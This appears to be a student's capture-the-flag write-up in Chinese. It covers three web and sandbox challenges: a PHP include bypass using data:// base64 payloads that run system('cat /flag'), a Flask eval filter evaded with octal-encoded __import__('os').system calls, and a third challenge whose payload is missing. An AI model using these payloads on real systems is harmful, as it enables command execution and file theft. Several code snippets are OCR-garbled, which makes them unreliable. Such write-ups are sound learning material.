week3 wp

```
张博翔 -----海南大学 ------20233001306
```

Include Me

```
<?php
 2
     highlight_file(__FILE__);
 3
     function waf(){
 4
         if(preg_match("/<|\?</pre>
     |php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
 5
             die("兄弟你别包");
         };
 6
 7
 8
     if(isset($_GET['phpinfo'])){
 9
         phpinfo();
10
11
12
     //兄弟你知道了吗?
13
     if(!isset($_GET['iknow'])){
         header("Refresh: 5;url=https://cn.bing.com/search?
14
     q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
15
     }
16
17
     waf();
18
     include $_GET['me'];
19
     echo "兄弟你好香";
20
     ?>
```

根据题目大概知道要干嘛了,可以看一下phpinfo(),它的那个是 allow 的

Payload:

```
# PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4g
iknow=1&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4g

# PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcgJyk7Pz4g

iknow=1&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcgJyk7Pz4g
```

臭皮的计算机

```
1
    from flask import Flask, render_template, request
2
    import uuid
3
    import subprocess
4
    import os
5
    import tempfile
6
7
    app = Flask(__name__)
8
    app.secret_key = str(uuid.uuid4())
9
```

```
def waf(s):
10
11
         token = True
         for i in s:
12
             \verb|if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ": \\
13
14
                  token = False
15
                  break
16
         return token
17
     @app.route("/")
18
     def index():
19
20
         return render_template("index.html")
21
22
     @app.route("/calc", methods=['POST', 'GET'])
     def calc():
23
24
25
         if request.method == 'POST':
26
              num = request.form.get("num")
              script = f'''import os
27
28
     print(eval("{num}"))
29
30
              print(script)
             if waf(num):
31
32
                  try:
                      result_output = ''
33
34
                      with tempfile.NamedTemporaryFile(mode='w+', suffix='.py',
     delete=False) as temp_script:
35
                          temp_script.write(script)
36
                          temp_script_path = temp_script.name
37
38
                      result = subprocess.run(['python3', temp_script_path],
     capture_output=True, text=True)
39
                      os.remove(temp_script_path)
40
41
                      result_output = result.stdout if result.returncode == 0 else
     result.stderr
42
                  except Exception as e:
43
44
                      result_output = str(e)
45
                  return render_template("calc.html", result=result_output)
46
47
                  return render_template("calc.html", result="臭皮! 你想干什么!!")
         return render_template("calc.html", result='试试呗')
48
49
     if __name__ == "__main__":
50
51
         app.run(host='0.0.0.0', port=30002)
```

发现了 eval(), 但是只接受数字, 我们想要执行语句, 于是我们考虑使用8进制(全是数字), 贴两个脚本

8进制编码码

```
def text_to_octal(text):
    octal_string = ""
    for char in text:
        octal_value = oct(ord(char))[2:] # 将字符转换为八进制字符串,并去掉前缀 '0o'
        octal_string += f"\\{octal_value}"
```

```
freturn octal_string

# 示例文本

text = "__import__('os').system('cat /flag')"

# 转换为八进制表示的字符串

cotal_string = text_to_octal(text)

print(octal_string)
```

8讲制编码

```
1
    def octal_to_text(octal_string):
2
        # 去掉每个八进制值前面的反斜杠
3
        octal_values = octal_string.split("\\")[1:] # 分割并去掉空字符串
 4
 5
        # 将每个八进制值转换为对应的字符
        characters = [chr(int(octal, 8)) for octal in octal_values]
 6
 7
 8
        # 将字符数组连接成一个字符串
9
        result = ''.join(characters)
10
        return result
11
12
13
   # 示例八进制表示的字符串
14
    octal_string =
     "\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\57\\163\\57\\63\\163\\17
    1\\163\\164\\145\\155\\57\\154\\163\\57\\63"
15
     # 解码为原始文本
16
17
    decoded_text = octal_to_text(octal_string)
18
19
     print(decoded_text) # 输出: ==记革命==/os/38system2/ls/3
```

Payload:

1 \137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145 \155\50\47\143\141\164\40\57\146\154\141\147\51

臭皮踩踩背

给的是一个nc的入口,我这里直接在wsl里做了

第一步思路: 我想要触发 secret, 我们输入 evel

```
1 > eval()
2 你已经拿到了钥匙,但是打开错了门,好好想想,还有什么东西是你没有理解透的?
3 None
```

发现只是一个字符串, 试了很多次之后发现入口在 f

Payload:

得到flag
